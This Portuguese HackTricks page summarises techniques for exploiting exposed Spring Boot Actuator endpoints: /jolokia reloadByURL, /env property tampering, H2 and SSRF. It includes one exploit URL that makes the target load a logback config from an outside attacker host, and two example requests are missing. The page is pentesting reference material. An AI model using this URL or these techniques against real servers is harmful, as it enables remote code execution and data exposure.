Spring Actuators
Aprenda e pratique Hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Aprenda e pratique Hacking GCP:
HackTricks Training GCP Red Team Expert (GRTE)
Spring Auth Bypass
![](https://book.hacktricks.xyz/~gitbook/image?url=https%3A%2F%2F910640767-files.gitbook.io%2F%7E%2Ffiles%2Fv0%2Fb%2Fgitbook-x-prod.appspot.com%2Fo%2Fspaces%252FjzQiXe8oFAkPoN0MXcUG%252Fuploads%252Fgit-blob-17aedd90c6808c0e67e6f6d8efde8b69a187182a%252Fimage%2520%28927%29.png%3Falt%3Dmedia&width=768&dpr=4&quality=100&sign=c6750c1e&sv=1)
De https://raw.githubusercontent.com/Mike-n1/tips/main/SpringAuthBypass.png****
Exploiting Spring Boot Actuators
Verifique a postagem original em [https://www.veracode.com/blog/research/exploiting-spring-boot-actuators]
Pontos Chave:
Spring Boot Actuators registra endpoints como
/health
,/trace
,/beans
,/env
, etc. Nas versões 1 a 1.4, esses endpoints são acessíveis sem autenticação. A partir da versão 1.5, apenas/health
e/info
são não sensíveis por padrão, mas os desenvolvedores frequentemente desativam essa segurança.Certos endpoints do Actuator podem expor dados sensíveis ou permitir ações prejudiciais:
/dump
,/trace
,/logfile
,/shutdown
,/mappings
,/env
,/actuator/env
,/restart
, e/heapdump
.No Spring Boot 1.x, os actuators são registrados sob a URL raiz, enquanto no 2.x, eles estão sob o caminho base
/actuator/
.
Técnicas de Exploração:
Execução Remota de Código via '/jolokia':
O endpoint do actuator
/jolokia
expõe a Biblioteca Jolokia, que permite acesso HTTP a MBeans.A ação
reloadByURL
pode ser explorada para recarregar configurações de log de uma URL externa, o que pode levar a XXE cega ou Execução Remota de Código via configurações XML manipuladas.URL de exemplo para exploração:
http://localhost:8090/jolokia/exec/ch.qos.logback.classic:Name=default,Type=ch.qos.logback.classic.jmx.JMXConfigurator/reloadByURL/http:!/!/artsploit.com!/logback.xml
.
Modificação de Configuração via '/env':
Se as Bibliotecas Spring Cloud estiverem presentes, o endpoint
/env
permite a modificação de propriedades ambientais.As propriedades podem ser manipuladas para explorar vulnerabilidades, como a vulnerabilidade de desserialização do XStream no Eureka serviceURL.
Exemplo de requisição POST para exploração:
Outras Configurações Úteis:
Propriedades como
spring.datasource.tomcat.validationQuery
,spring.datasource.tomcat.url
, espring.datasource.tomcat.max-active
podem ser manipuladas para várias explorações, como injeção SQL ou alteração de strings de conexão de banco de dados.
Informações Adicionais:
Uma lista abrangente de actuators padrão pode ser encontrada aqui.
O endpoint
/env
no Spring Boot 2.x usa o formato JSON para modificação de propriedades, mas o conceito geral permanece o mesmo.
Tópicos Relacionados:
Env + H2 RCE:
Detalhes sobre a exploração da combinação do endpoint
/env
e do banco de dados H2 podem ser encontrados aqui.
SSRF no Spring Boot Através da Interpretação Incorreta de Nomes de Caminho:
O manuseio de parâmetros de matriz (
;
) pelo framework Spring em nomes de caminho HTTP pode ser explorado para Server-Side Request Forgery (SSRF).Exemplo de requisição de exploração:
Aprenda e pratique Hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Aprenda e pratique Hacking GCP:
HackTricks Training GCP Red Team Expert (GRTE)
Last updated